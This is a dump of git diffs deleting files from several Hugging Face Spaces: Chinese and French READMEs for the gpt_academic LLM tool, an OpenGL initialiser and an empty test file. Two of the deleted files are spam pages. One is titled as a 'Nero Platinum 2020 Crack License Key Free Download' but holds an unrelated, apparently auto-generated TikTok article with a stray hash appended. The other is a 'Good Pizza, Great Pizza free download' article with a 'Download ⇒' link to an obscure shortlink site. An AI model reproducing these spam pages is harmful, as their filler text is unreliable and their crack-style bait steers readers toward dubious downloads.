        - -功能 | 描述 ---- | --- -一键润色 | 支持一键润色、一键查找论文语法错误 -一键中英互译 | 一键中英互译 -一键代码解释 | 显示代码、解释代码、生成代码、给代码加注释 -[自定义快捷键](https://www.bilibili.com/video/BV14s4y1E7jN) | 支持自定义快捷键 -模块化设计 | 支持自定义强大的[函数插件](https://github.com/binary-husky/chatgpt_academic/tree/master/crazy_functions)，插件支持[热更新](https://github.com/binary-husky/chatgpt_academic/wiki/%E5%87%BD%E6%95%B0%E6%8F%92%E4%BB%B6%E6%8C%87%E5%8D%97) -[自我程序剖析](https://www.bilibili.com/video/BV1cj411A7VW) | [函数插件] [一键读懂](https://github.com/binary-husky/chatgpt_academic/wiki/chatgpt-academic%E9%A1%B9%E7%9B%AE%E8%87%AA%E8%AF%91%E8%A7%A3%E6%8A%A5%E5%91%8A)本项目的源代码 -[程序剖析](https://www.bilibili.com/video/BV1cj411A7VW) | [函数插件] 一键可以剖析其他Python/C/C++/Java/Lua/...项目树 -读论文、[翻译](https://www.bilibili.com/video/BV1KT411x7Wn)论文 | [函数插件] 一键解读latex/pdf论文全文并生成摘要 -Latex全文[翻译](https://www.bilibili.com/video/BV1nk4y1Y7Js/)、[润色](https://www.bilibili.com/video/BV1FT411H7c5/) | [函数插件] 一键翻译或润色latex论文 -批量注释生成 | [函数插件] 一键批量生成函数注释 -Markdown[中英互译](https://www.bilibili.com/video/BV1yo4y157jV/) | [函数插件] 看到上面5种语言的[README](https://github.com/binary-husky/chatgpt_academic/blob/master/docs/README_EN.md)了吗？ -chat分析报告生成 | [函数插件] 运行后自动生成总结汇报 -[PDF论文全文翻译功能](https://www.bilibili.com/video/BV1KT411x7Wn) | [函数插件] PDF论文提取题目&摘要+翻译全文（多线程） -[Arxiv小助手](https://www.bilibili.com/video/BV1LM4y1279X) | [函数插件] 输入arxiv文章url即可一键翻译摘要+下载PDF -[谷歌学术统合小助手](https://www.bilibili.com/video/BV19L411U7ia) | [函数插件] 给定任意谷歌学术搜索页面URL，让gpt帮你[写relatedworks](https://www.bilibili.com/video/BV1GP411U7Az/) -互联网信息聚合+GPT | [函数插件] 一键[让GPT先从互联网获取信息](https://www.bilibili.com/video/BV1om4y127ck)，再回答问题，让信息永不过时 -公式/图片/表格显示 | 可以同时显示公式的[tex形式和渲染形式](https://user-images.githubusercontent.com/96192199/230598842-1d7fcddd-815d-40ee-af60-baf488a199df.png)，支持公式、代码高亮 -多线程函数插件支持 | 支持多线调用chatgpt，一键处理[海量文本](https://www.bilibili.com/video/BV1FT411H7c5/)或程序 -启动暗色gradio[主题](https://github.com/binary-husky/chatgpt_academic/issues/173) | 在浏览器url后面添加```/?__dark-theme=true```可以切换dark主题 -[多LLM模型](https://www.bilibili.com/video/BV1wT411p7yf)支持，[API2D](https://api2d.com/)接口支持 | 同时被GPT3.5、GPT4和[清华ChatGLM](https://github.com/THUDM/ChatGLM-6B)伺候的感觉一定会很不错吧？ -更多LLM模型接入，支持[huggingface部署](https://huggingface.co/spaces/qingxu98/gpt-academic) | 新加入Newbing测试接口(新必应AI) -…… | …… - -
        - - -- 新界面（修改`config.py`中的LAYOUT选项即可实现“左右布局”和“上下布局”的切换） -
        - -
        - - -- 所有按钮都通过读取functional.py动态生成，可随意加自定义功能，解放粘贴板 -
        - -
        - -- 润色/纠错 -
        - -
        - -- 如果输出包含公式，会同时以tex形式和渲染形式显示，方便复制和阅读 -
        - -
        - -- 懒得看项目代码？整个工程直接给chatgpt炫嘴里 -
        - -
        - -- 多种大语言模型混合调用（ChatGLM + OpenAI-GPT3.5 + [API2D](https://api2d.com/)-GPT4） -
        - -
        - ---- - -## 安装-方法1：直接运行 (Windows, Linux or MacOS) - -1. 下载项目 -```sh -git clone https://github.com/binary-husky/chatgpt_academic.git -cd chatgpt_academic -``` - -2. 配置API_KEY - -在`config.py`中，配置API KEY等[设置](https://github.com/binary-husky/gpt_academic/issues/1) 。 - -（P.S. 程序运行时会优先检查是否存在名为`config_private.py`的私密配置文件，并用其中的配置覆盖`config.py`的同名配置。因此，如果您能理解我们的配置读取逻辑，我们强烈建议您在`config.py`旁边创建一个名为`config_private.py`的新配置文件，并把`config.py`中的配置转移（复制）到`config_private.py`中。`config_private.py`不受git管控，可以让您的隐私信息更加安全。） - - -3. 安装依赖 -```sh -# （选择I: 如熟悉python）（python版本3.9以上，越新越好） -python -m pip install -r requirements.txt -# 备注：使用官方pip源或者阿里pip源，其他pip源（如一些大学的pip）有可能出问题，临时换源方法：python -m pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/ - -# （选择II: 如不熟悉python）使用anaconda，步骤也是类似的： -# （II-1）conda create -n gptac_venv python=3.11 -# （II-2）conda activate gptac_venv -# （II-3）python -m pip install -r requirements.txt -``` - -如果需要支持清华ChatGLM后端，需要额外安装更多依赖（前提条件：熟悉python + 电脑配置够强）： -```sh -python -m pip install -r request_llm/requirements_chatglm.txt -``` - -4. 运行 -```sh -python main.py -``` - -5. 测试函数插件 -``` -- 测试函数插件模板函数（要求gpt回答历史上的今天发生了什么），您可以根据此函数为模板，实现更复杂的功能 - 点击 "[函数插件模板Demo] 历史上的今天" -``` - -## 安装-方法2：使用Docker - -1. 仅ChatGPT（推荐大多数人选择） - -``` sh -# 下载项目 -git clone https://github.com/binary-husky/chatgpt_academic.git -cd chatgpt_academic -# 配置 “Proxy”， “API_KEY” 以及 “WEB_PORT” (例如50923) 等 -用任意文本编辑器编辑 config.py -# 安装 -docker build -t gpt-academic . -#（最后一步-选择1）在Linux环境下，用`--net=host`更方便快捷 -docker run --rm -it --net=host gpt-academic -#（最后一步-选择2）在macOS/windows环境下，只能用-p选项将容器上的端口(例如50923)暴露给主机上的端口 -docker run --rm -it -p 50923:50923 gpt-academic -``` - -2. ChatGPT+ChatGLM（需要对Docker熟悉 + 读懂Dockerfile + 电脑配置够强） - -``` sh -# 修改Dockerfile -cd docs && nano Dockerfile+ChatGLM -# 构建 （Dockerfile+ChatGLM在docs路径下，请先cd docs） -docker build -t gpt-academic --network=host -f Dockerfile+ChatGLM . -# 运行 (1) 直接运行: -docker run --rm -it --net=host --gpus=all gpt-academic -# 运行 (2) 我想运行之前进容器做一些调整: -docker run --rm -it --net=host --gpus=all gpt-academic bash -``` - -## 安装-方法3：其他部署姿势 - -1. 如何使用反代URL/AzureAPI -按照`config.py`中的说明配置API_URL_REDIRECT即可。 - -2. 远程云服务器部署（需要云服务器知识与经验） -请访问[部署wiki-1](https://github.com/binary-husky/chatgpt_academic/wiki/%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%BF%9C%E7%A8%8B%E9%83%A8%E7%BD%B2%E6%8C%87%E5%8D%97) - -3. 使用WSL2（Windows Subsystem for Linux 子系统） -请访问[部署wiki-2](https://github.com/binary-husky/chatgpt_academic/wiki/%E4%BD%BF%E7%94%A8WSL2%EF%BC%88Windows-Subsystem-for-Linux-%E5%AD%90%E7%B3%BB%E7%BB%9F%EF%BC%89%E9%83%A8%E7%BD%B2) - -4. 如何在二级网址（如`http://localhost/subpath`）下运行 -请访问[FastAPI运行说明](docs/WithFastapi.md) - ---- - -## 自定义新的便捷按钮 / 自定义函数插件 - -1. 自定义新的便捷按钮（学术快捷键） -任意文本编辑器打开`core_functional.py`，添加条目如下，然后重启程序即可。（如果按钮已经添加成功并可见，那么前缀、后缀都支持热修改，无需重启程序即可生效。） -例如 -``` -"超级英译中": { - # 前缀，会被加在你的输入之前。例如，用来描述你的要求，例如翻译、解释代码、润色等等 - "Prefix": "请翻译把下面一段内容成中文，然后用一个markdown表格逐一解释文中出现的专有名词：\n\n", - - # 后缀，会被加在你的输入之后。例如，配合前缀可以把你的输入内容用引号圈起来。 - "Suffix": "", -}, -``` -
        - -
        - -2. 自定义函数插件 - -编写强大的函数插件来执行任何你想得到的和想不到的任务。 -本项目的插件编写、调试难度很低，只要您具备一定的python基础知识，就可以仿照我们提供的模板实现自己的插件功能。 -详情请参考[函数插件指南](https://github.com/binary-husky/chatgpt_academic/wiki/%E5%87%BD%E6%95%B0%E6%8F%92%E4%BB%B6%E6%8C%87%E5%8D%97)。 - ---- - -## 其他功能说明 - -1. 对话保存功能。在函数插件区调用 `保存当前的对话` 即可将当前对话保存为可读+可复原的html文件，如图： -
        - -
        - -在函数插件区（下拉菜单）调用 `载入对话历史存档` ，即可还原之前的会话。 - -2. 生成报告。大部分插件都会在执行结束后，生成工作报告 -
        - - - -
        - -3. 模块化功能设计，简单的接口却能支持强大的功能 -
        - - -
        - -4. 这是一个能够“自我译解”的开源项目 -
        - -
        - -5. 译解其他开源项目，不在话下 -
        - -
        - -
        - -
        - -## 版本: -- version 3.5(Todo): 使用自然语言调用本项目的所有函数插件（高优先级） -- version 3.4(Todo): 完善chatglm本地大模型的多线支持 -- version 3.3: +互联网信息综合功能 -- version 3.2: 函数插件支持更多参数接口 (保存对话功能, 解读任意语言代码+同时询问任意的LLM组合) -- version 3.1: 支持同时问询多个gpt模型！支持api2d，支持多个apikey负载均衡 -- version 3.0: 对chatglm和其他小型llm的支持 -- version 2.6: 重构了插件结构，提高了交互性，加入更多插件 -- version 2.5: 自更新，解决总结大工程源代码时文本过长、token溢出的问题 -- version 2.4: (1)新增PDF全文翻译功能; (2)新增输入区切换位置的功能; (3)新增垂直布局选项; (4)多线程函数插件优化。 -- version 2.3: 增强多线程交互性 -- version 2.2: 函数插件支持热重载 -- version 2.1: 可折叠式布局 -- version 2.0: 引入模块化函数插件 -- version 1.0: 基础功能 - -gpt_academic开发者QQ群：734063350 - - -## 参考与学习 - -``` -代码中参考了很多其他优秀项目中的设计，主要包括： - -# 借鉴项目1：借鉴了ChuanhuChatGPT中诸多技巧 -https://github.com/GaiZhenbiao/ChuanhuChatGPT - -# 借鉴项目2：清华ChatGLM-6B： -https://github.com/THUDM/ChatGLM-6B -``` diff --git a/spaces/eswat/Image-and-3D-Model-Creator/PIFu/lib/renderer/gl/init_gl.py b/spaces/eswat/Image-and-3D-Model-Creator/PIFu/lib/renderer/gl/init_gl.py deleted file mode 100644 index 1d2c7e6ba0be20136b2be2e2f644894bee4af9c1..0000000000000000000000000000000000000000 --- a/spaces/eswat/Image-and-3D-Model-Creator/PIFu/lib/renderer/gl/init_gl.py +++ /dev/null @@ -1,24 +0,0 @@ -_glut_window = None -_context_inited = None - -def initialize_GL_context(width=512, height=512, egl=False): - ''' - default context uses GLUT - ''' - if not egl: - import OpenGL.GLUT as GLUT - display_mode = GLUT.GLUT_DOUBLE | GLUT.GLUT_RGB | GLUT.GLUT_DEPTH - global _glut_window - if _glut_window is None: - GLUT.glutInit() - GLUT.glutInitDisplayMode(display_mode) - GLUT.glutInitWindowSize(width, height) - GLUT.glutInitWindowPosition(0, 0) - _glut_window = GLUT.glutCreateWindow("My Render.") - else: - from .glcontext import create_opengl_context - global _context_inited - if _context_inited is None: - create_opengl_context((width, height)) - _context_inited = True - diff --git a/spaces/facebook/MusicGen/tests/__init__.py b/spaces/facebook/MusicGen/tests/__init__.py deleted file mode 100644 index 0952fcc3f57e34b3747962e9ebd6fc57aeea63fa..0000000000000000000000000000000000000000 --- a/spaces/facebook/MusicGen/tests/__init__.py +++ /dev/null @@ -1,5 +0,0 @@ -# Copyright (c) Meta Platforms, Inc. and affiliates. -# All rights reserved. -# -# This source code is licensed under the license found in the -# LICENSE file in the root directory of this source tree. diff --git a/spaces/falterWliame/Face_Mask_Detection/Nero Platinum 2020 Crack License Key Free Download WORK.md b/spaces/falterWliame/Face_Mask_Detection/Nero Platinum 2020 Crack License Key Free Download WORK.md deleted file mode 100644 index c0ed4543f77802c025580f7a590ab03c76834897..0000000000000000000000000000000000000000 --- a/spaces/falterWliame/Face_Mask_Detection/Nero Platinum 2020 Crack License Key Free Download WORK.md +++ /dev/null @@ -1,11 +0,0 @@ -

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        in, the Chinese version of TikTok. TikTok has been the most downloaded app worldwide in 2020 and 2021, with over one billion users. It is extremely popular in the United States, with over 100 million users. TikTok has also attracted many celebrities, influencers, and brands who use the app to reach and engage with their fans and customers.

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        -

        Despite these issues, TikTok has continued to grow and innovate its features and services. In this article, we will explore some of the unique features of TikTok, as well as some of the viral trends, challenges, dances, and songs that have made it so popular and influential.

        -

        Unique Features of TikTok

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        TikTok is not just a simple video-sharing app. It offers a range of features that allow users to get creative with their content and interact with other users. Some of these features include:

        -
          -
        • Duet: This feature allows users to create videos with other creators by appearing side-by-side or commenting on the original video. This can be used for collaboration, reaction, parody, or remix purposes.
          • -
        • Stitch: This feature allows users to clip and integrate scenes from another user's video into their own. This can be used for adding context, commentary, humor, or continuation to the original video.
          • -
        • Voice-over: This feature allows users to add voice-over or audio dubbing to their videos during the editing stage of creation. This can be used for narration, translation, or expression purposes.
          • -
        • Pinning stickers: This feature allows users to pin stickers to moving objects so that they follow them as they move throughout the scene. This can be used for adding fun effects, captions, or emojis to the videos.
          • -
        • Reels: This feature is similar to TikTok's short-form video format, but it is available on Instagram, a rival social media platform owned by Facebook. This feature allows users to create and share 15-second videos with music, filters, and effects on Instagram. It also allows users to discover and watch reels from other users on a dedicated tab.
          • -
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        Viral Trends, Challenges, Dances, and Songs on TikTok

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        TikTok is also known for its viral trends, challenges, dances, and songs that often spread across other social media platforms and mainstream culture. These are usually created by users who come up with original or catchy ideas that inspire others to join in or imitate them. Some of the most popular ones include:

        -
          -
        • The Renegade: A dance challenge that involves a series of moves performed to the song "Lottery" by K Camp. This challenge was created by Jalaiah Harmon, a 14-year-old dancer from Atlanta, who posted it on Instagram in September 2019. It later became viral on TikTok after other users copied her moves and added their own variations.
          • -
        • The Savage: Another dance challenge that involves a series of moves performed to the song "Savage" by Megan Thee Stallion. This challenge was created by Keara Wilson, a 19-year-old dancer from Texas, who posted it on TikTok in March 2020. It later became viral on TikTok after other users followed her steps and added their own twists.
          • -
        • The Wipe It Down: A challenge that involves wiping a mirror with a cloth and revealing a different outfit or persona in each wipe. This challenge was created by BMW Kenny, a rapper from Florida, who posted it on TikTok in April 2020. It later became viral on TikTok after other users replicated his idea and showed off their transformations.
          • -
        • The Blinding Lights: A challenge that involves dancing to the song "Blinding Lights" by The Weeknd with family members or friends. This challenge was created by Macarena Garcia Lopez, a 19-year-old student from Spain, who posted it on TikTok in December 2019. It later became viral on TikTok after other users joined the fun and danced with their loved ones.
          • -
        • The Say So: A dance challenge that involves a series of moves performed to the song "Say So" by Doja Cat. This challenge was created by Haley Sharpe, a 17-year-old dancer from Alabama, who posted it on TikTok in October 2019. It later became viral on TikTok after other users mimicked her moves and added their own flair.
          • -
        -

        Conclusion

        -

        TikTok is a global phenomenon that has changed the way people create and consume content online. It has also created new opportunities for businesses, artists, and creators to showcase their talents and products to a global audience. TikTok has also faced some challenges and controversies due to its Chinese ownership and potential security and privacy risks. However, it has also tried to address these issues and maintain its popularity and influence. TikTok is undoubtedly one of the most innovative and successful social media platforms of our time, and it will likely continue to shape the future of online culture and entertainment.

        -

        FAQs

        -
          -
        1. What is the difference between TikTok and Douyin?
          2. -

          TikTok and Douyin are both video-sharing apps owned by Bytedance, but they are not the same. TikTok is the international version of the app, while Douyin is the Chinese version of the app. They have different features, content, and regulations, and they operate on separate servers. Users cannot access TikTok in China or Douyin outside of China.

          -

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          -
        2. How does TikTok make money?
          3. -

          TikTok makes money mainly from advertising and in-app purchases. TikTok allows advertisers to run various types of ads on its platform, such as brand takeovers, in-feed ads, hashtag challenges, branded effects, and branded lenses. TikTok also allows users to buy virtual coins that they can use to tip their favorite creators or buy stickers and filters.

          -
        3. How does TikTok recommend videos to users?
          4. -

          TikTok uses a sophisticated algorithm that analyzes various factors to recommend videos to users. Some of these factors include user preferences, interactions, location, device type, language, and content quality. The algorithm also learns from user feedback and adjusts its recommendations accordingly.

          -
        4. How can I download TikTok videos?
          5. -

          TikTok allows users to download videos that are public and have the download option enabled by the creator. To download a video, you need to tap on the share icon on the right side of the screen and then select "Save video". The video will be saved to your device's gallery or camera roll. You can also use third-party apps or websites to download TikTok videos, but you need to be careful about the security and legality of these tools.

          -
        5. How can I delete my TikTok account?
          6. -

          To delete your TikTok account, you need to follow these steps:

          -
            -
          • Open the TikTok app and go to your profile page.
            • -
          • Tap on the three dots icon in the top right corner and select "Manage account".
            • -
          • Tap on "Delete account" at the bottom of the screen.
            • -
          • Follow the instructions on the screen to verify your identity and confirm your decision.
            • -
          -

          Note that deleting your account will remove all your videos, comments, likes, followers, messages, and personal information from TikTok. You will also lose access to any in-app purchases or rewards you have earned. You can still reactivate your account within 30 days of deletion by logging in with your credentials, but after that period, your account will be permanently deleted.

          401be4b1e0
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          \ No newline at end of file diff --git a/spaces/fatiXbelha/sd/Download Good Pizza Great Pizza for Free and Enjoy the Best Pizza Making Experience.md b/spaces/fatiXbelha/sd/Download Good Pizza Great Pizza for Free and Enjoy the Best Pizza Making Experience.md deleted file mode 100644 index 956640c98912643969a4cacc85df279dbb669eef..0000000000000000000000000000000000000000 --- a/spaces/fatiXbelha/sd/Download Good Pizza Great Pizza for Free and Enjoy the Best Pizza Making Experience.md +++ /dev/null @@ -1,101 +0,0 @@ - -

          How to Download and Play Good Pizza, Great Pizza on Your PC or Mac

          -

          Do you love pizza? Do you want to run your own pizza shop and make delicious pizzas for your customers? If you answered yes, then you should try Good Pizza, Great Pizza, a fun and addictive simulation game that lets you experience what it's like to be a pizza chef. And the best part is, you can play it on your PC or Mac with BlueStacks, an Android emulator that allows you to run Android apps and games on your computer. In this article, we will show you what Good Pizza, Great Pizza is all about, how to download and play it on your PC or Mac, and some tips and tricks for making the best pizzas ever.

          -

          What is Good Pizza, Great Pizza?

          -

          A simulation game where you run your own pizza shop

          -

          Good Pizza, Great Pizza is a simulation game developed by TapBlaze, a studio that specializes in creating casual and family-friendly games. In this game, you are the owner of a pizza shop that competes with other pizzerias in town. Your goal is to fulfill pizza orders from customers with different tastes and personalities, while making enough money to keep your business open. You will also have to deal with challenges such as limited ingredients, equipment breakdowns, and rival pizzerias.

          -

          good pizza great pizza free download


          Download ⇒ https://urllie.com/2uNHeU



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          Features of the game

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          Some of the features that make Good Pizza, Great Pizza a great game are:

          -
            -
          • Over 100 customers with unique pizza orders and personalities
            • -
          • Pizza toppings including pepperoni, sausage, onions, mushrooms, cheese, and more
            • -
          • Equipment upgrades to help you become the master ovenist
            • -
          • Pizza News Network (PNN), the first newscast about all things pizza
            • -
          • Simple, fun and challenging gameplay
            • -
          • Cute and colorful graphics
            • -
          • Created by pizza making professionals; the game designer worked in a pizza kitchen for four years
            • -
          -

          How to download and play Good Pizza, Great Pizza on PC or Mac

          -

          Using BlueStacks, an Android emulator

          -

          To play Good Pizza, Great Pizza on your PC or Mac, you will need to use BlueStacks, an Android emulator that allows you to run Android apps and games on your computer. BlueStacks is free to download and use, and it has many features that enhance your gaming experience, such as:

          -
            -
          • Multi-instance mode that lets you play multiple games or apps at the same time
            • -
          • Macro recorder that lets you automate repetitive tasks
            • -
          • Real-time translation that lets you play any game in your preferred language
            • -
          • Keyboard and mouse controls that let you customize your gameplay
            • -
          • Screen recorder that lets you capture your best moments
            • -
          • And more!
            • -
          -

          Steps to install and run the game

          -

          To install and run Good Pizza, Great Pizza on your PC or Mac using BlueStacks, follow these simple steps:

          -<

          1. Download and install BlueStacks on your PC or Mac from the official website: https://www.bluestacks.com

          -

          2. Launch BlueStacks and sign in with your Google account

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          3. Search for Good Pizza, Great Pizza in the search bar on the top right corner

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          4. Click on the game icon and then click on Install from the Google Play Store

          -

          5. Once the game is installed, click on Open to start playing

          -

          6. Enjoy making pizzas for your customers!

          -

          Tips and tricks for making the best pizzas

          -

          How to handle different customer orders and preferences

          -

          One of the main challenges of Good Pizza, Great Pizza is to satisfy your customers' orders and preferences. Each customer will have a different request, such as the size, shape, toppings, and sauce of their pizza. Some customers will be more specific and demanding than others, and some will even try to trick you or confuse you. You will have to pay attention to their words and gestures, and try to make the pizza as they want it. If you make a mistake, they will complain and tip you less or not at all. If you make them happy, they will tip you more and give you positive feedback.

          -

          How to upgrade your restaurant and equipment

          -

          Another important aspect of Good Pizza, Great Pizza is to upgrade your restaurant and equipment. As you make more money from your sales, you will be able to buy new items and improvements for your pizza shop. For example, you can buy a bigger oven, a faster cutter, a better cheese dispenser, and more. You can also buy decorations and furniture to make your shop look more appealing and cozy. Upgrading your restaurant and equipment will help you increase your efficiency, quality, and reputation.

          -

          How to use different pizza toppings and sauces

          -

          The last but not least tip for making the best pizzas is to use different pizza toppings and sauces. Good Pizza, Great Pizza offers a variety of ingredients that you can use to create different combinations and flavors. You can use classic toppings like pepperoni, cheese, mushrooms, and olives, or you can try more exotic ones like pineapple, anchovies, jalapeños, and pesto. You can also use different sauces like tomato, white, barbecue, and ranch. Experimenting with different pizza toppings and sauces will help you discover new recipes and please different customers.

          -

          Conclusion

          -

          Summary of the main points

          -

          In conclusion, Good Pizza, Great Pizza is a fun and addictive simulation game that lets you run your own pizza shop and make delicious pizzas for your customers. You can download and play it on your PC or Mac using BlueStacks, an Android emulator that enhances your gaming experience. You can also use some tips and tricks for making the best pizzas, such as handling different customer orders and preferences, upgrading your restaurant and equipment, and using different pizza toppings and sauces.

          -

          Call to action and link to download the game

          -

          If you are ready to start your pizza adventure, click on the link below to download Good Pizza, Great Pizza on your PC or Mac with BlueStacks: https://www.bluestacks.com/apps/casual/good-pizza-great-pizza-on-pc.html

          -

          FAQs

          -

          Q1. Is Good Pizza, Great Pizza free to play?

          -

          A1. Yes, Good Pizza, Great Pizza is free to play. However, it contains optional in-app purchases that can enhance your gameplay or speed up your progress.

          -

          Q2. How many customers and toppings are there in the game?

          -

          A2. There are over 100 customers with unique pizza orders and personalities in the game. There are also over 80 toppings that you can unlock as you progress through the game.

          -

          Q3. Can I play Good Pizza, Great Pizza offline?

          -

          A3. Yes, you can play Good Pizza, Great Pizza offline. However, some features such as daily rewards or cloud save may require an internet connection.

          -

          Q4. What are the benefits of playing Good Pizza, Great Pizza on PC or Mac?

          -

          A4. Playing Good Pizza, Great Pizza on PC or Mac with BlueStacks has many benefits such as:

          -
            -
          • Bigger screen size that lets you see more details and enjoy better graphics
            • -
          • Faster performance that lets you run the game smoothly without lag or crashes
            • -
          • Easier controls that let you use your keyboard and mouse instead of your fingers or touch screen
            • -
          • More features that let you customize your gameplay, such as multi-instance mode, macro recorder, real-time translation, screen recorder, and more
            • -
          -

          Q5. How can I contact the developers of Good Pizza, Great Pizza?

          -

          A5. You can contact the developers of Good Pizza, Great Pizza by sending an email to pizza@tapblaze.com or by visiting their website: https://www.tapblaze.com. You can also follow them on social media platforms such as Facebook, Twitter, Instagram, and YouTube.

          401be4b1e0
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          \ No newline at end of file diff --git a/spaces/fb700/chatglm-fitness-RLHF/docs/README_FR.md b/spaces/fb700/chatglm-fitness-RLHF/docs/README_FR.md deleted file mode 100644 index 3d96849740374357056fba1d0370167e9182fe71..0000000000000000000000000000000000000000 --- a/spaces/fb700/chatglm-fitness-RLHF/docs/README_FR.md +++ /dev/null @@ -1,323 +0,0 @@ -> **Note** -> -> Ce fichier README est généré automatiquement par le plugin de traduction markdown de ce projet et n'est peut - être pas correct à 100%. -> -> During installation, please strictly select the versions **specified** in requirements.txt. -> -> `pip install -r requirements.txt` -> - -# Optimisation académique GPT (GPT Academic) - -**Si vous aimez ce projet, veuillez lui donner une étoile. Si vous avez trouvé des raccourcis académiques ou des plugins fonctionnels plus utiles, n'hésitez pas à ouvrir une demande ou une pull request. -Pour traduire ce projet dans une langue arbitraire avec GPT, lisez et exécutez [`multi_language.py`](multi_language.py) (expérimental). - -> **Note** -> -> 1. Veuillez noter que seuls les plugins de fonctions (boutons) **en rouge** prennent en charge la lecture de fichiers. Certains plugins se trouvent dans le **menu déroulant** de la zone de plugins. De plus, nous accueillons et traitons les nouvelles pull requests pour les plugins avec **la plus haute priorité**! -> -> 2. Les fonctions de chaque fichier de ce projet sont expliquées en détail dans l'auto-analyse [`self_analysis.md`](https://github.com/binary-husky/chatgpt_academic/wiki/chatgpt-academic%E9%A1%B9%E7%9B%AE%E8%87%AA%E8%AF%91%E8%A7%A3%E6%8A%A5%E5%91%8A). Avec l'itération des versions, vous pouvez également cliquer sur les plugins de fonctions pertinents et appeler GPT pour régénérer le rapport d'auto-analyse du projet à tout moment. Les FAQ sont résumées dans [le wiki](https://github.com/binary-husky/chatgpt_academic/wiki/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98). [Méthode d'installation](#installation). -> -> 3. Ce projet est compatible avec et encourage l'utilisation de grands modèles de langage nationaux tels que chatglm, RWKV, Pangu, etc. La coexistence de plusieurs clés API est prise en charge et peut être remplie dans le fichier de configuration, tel que `API_KEY="openai-key1,openai-key2,api2d-key3"`. Lorsque vous souhaitez remplacer temporairement `API_KEY`, saisissez temporairement `API_KEY` dans la zone de saisie, puis appuyez sur Entrée pour soumettre et activer. - -
          - -Functionnalité | Description ---- | --- -Révision en un clic | prend en charge la révision en un clic et la recherche d'erreurs de syntaxe dans les articles -Traduction chinois-anglais en un clic | Traduction chinois-anglais en un clic -Explication de code en un clic | Affichage, explication, génération et ajout de commentaires de code -[Raccourcis personnalisés](https://www.bilibili.com/video/BV14s4y1E7jN) | prend en charge les raccourcis personnalisés -Conception modulaire | prend en charge de puissants plugins de fonction personnalisée, les plugins prennent en charge la [mise à jour à chaud](https://github.com/binary-husky/chatgpt_academic/wiki/%E5%87%BD%E6%95%B0%E6%8F%92%E4%BB%B6%E6%8C%87%E5%8D%97) -[Autoscanner](https://www.bilibili.com/video/BV1cj411A7VW) | [Plug-in de fonction] [Compréhension instantanée](https://github.com/binary-husky/chatgpt_academic/wiki/chatgpt-academic%E9%A1%B9%E7%9B%AE%E8%87%AA%E8%AF%91%E8%A7%A3%E6%8A%A5%E5%91%8A) du code source de ce projet -[Analyse de programme](https://www.bilibili.com/video/BV1cj411A7VW) | [Plug-in de fonction] Analyse en un clic de la structure d'autres projets Python / C / C ++ / Java / Lua / ... -Lecture d'articles, [traduction](https://www.bilibili.com/video/BV1KT411x7Wn) d'articles | [Plug-in de fonction] Compréhension instantanée de l'article latex / pdf complet et génération de résumés -[Traduction](https://www.bilibili.com/video/BV1nk4y1Y7Js/) et [révision](https://www.bilibili.com/video/BV1FT411H7c5/) complets en latex | [Plug-in de fonction] traduction ou révision en un clic d'articles en latex -Génération de commentaires en masse | [Plug-in de fonction] Génération en un clic de commentaires de fonction en masse -Traduction [chinois-anglais](https://www.bilibili.com/video/BV1yo4y157jV/) en Markdown | [Plug-in de fonction] avez-vous vu la [README](https://github.com/binary-husky/chatgpt_academic/blob/master/docs/README_EN.md) pour les 5 langues ci-dessus? -Génération de rapports d'analyse de chat | [Plug-in de fonction] Génère automatiquement un rapport de résumé après l'exécution -[Traduction intégrale en pdf](https://www.bilibili.com/video/BV1KT411x7Wn) | [Plug-in de fonction] Extraction de titre et de résumé de l'article pdf + traduction intégrale (multi-thread) -[Aide à arxiv](https://www.bilibili.com/video/BV1LM4y1279X) | [Plug-in de fonction] Entrer l'url de l'article arxiv pour traduire et télécharger le résumé en un clic -[Aide à la recherche Google Scholar](https://www.bilibili.com/video/BV19L411U7ia) | [Plug-in de fonction] Donnez l'URL de la page de recherche Google Scholar, laissez GPT vous aider à [écrire des ouvrages connexes](https://www.bilibili.com/video/BV1GP411U7Az/) -Aggrégation d'informations en ligne et GPT | [Plug-in de fonction] Permet à GPT de [récupérer des informations en ligne](https://www.bilibili.com/video/BV1om4y127ck), puis de répondre aux questions, afin que les informations ne soient jamais obsolètes -Affichage d'équations / images / tableaux | Fournit un affichage simultané de [la forme tex et de la forme rendue](https://user-images.githubusercontent.com/96192199/230598842-1d7fcddd-815d-40ee-af60-baf488a199df.png), prend en charge les formules mathématiques et la coloration syntaxique du code -Prise en charge des plugins à plusieurs threads | prend en charge l'appel multithread de chatgpt, un clic pour traiter [un grand nombre d'articles](https://www.bilibili.com/video/BV1FT411H7c5/) ou de programmes -Thème gradio sombre en option de démarrage | Ajoutez```/?__theme=dark``` à la fin de l'URL du navigateur pour basculer vers le thème sombre -[Prise en charge de plusieurs modèles LLM](https://www.bilibili.com/video/BV1wT411p7yf), [API2D](https://api2d.com/) | Sera probablement très agréable d'être servi simultanément par GPT3.5, GPT4, [ChatGLM de Tsinghua](https://github.com/THUDM/ChatGLM-6B), [MOSS de Fudan](https://github.com/OpenLMLab/MOSS) -Plus de modèles LLM, déploiement de [huggingface](https://huggingface.co/spaces/qingxu98/gpt-academic) | Ajout prise en charge de l'interface Newbing (nouvelle bing), introduction du support de [Jittorllms de Tsinghua](https://github.com/Jittor/JittorLLMs), [LLaMA](https://github.com/facebookresearch/llama), [RWKV](https://github.com/BlinkDL/ChatRWKV) et [Panguα](https://openi.org.cn/pangu/) -Plus de nouvelles fonctionnalités (génération d'images, etc.) ... | Voir la fin de ce document pour plus de détails ... - -
          - - -- Nouvelle interface (modifier l'option LAYOUT de `config.py` pour passer d'une disposition ``gauche-droite`` à une disposition ``haut-bas``) -
          - -
          - Tous les boutons sont générés dynamiquement en lisant functional.py et peuvent être facilement personnalisés pour ajouter des fonctionnalités personnalisées, ce qui facilite l'utilisation du presse-papiers. -
          - -
          - -- Correction d'erreurs/lissage du texte. -
          - -
          - -- Si la sortie contient des équations, elles sont affichées à la fois sous forme de tex et sous forme rendue pour faciliter la lecture et la copie. -
          - -
          - -- Pas envie de lire les codes de ce projet? Tout le projet est directement exposé par ChatGPT. -
          - -
          - -- Appel à une variété de modèles de langage de grande envergure (ChatGLM + OpenAI-GPT3.5 + [API2D] (https://api2d.com/)-GPT4). -
          - -
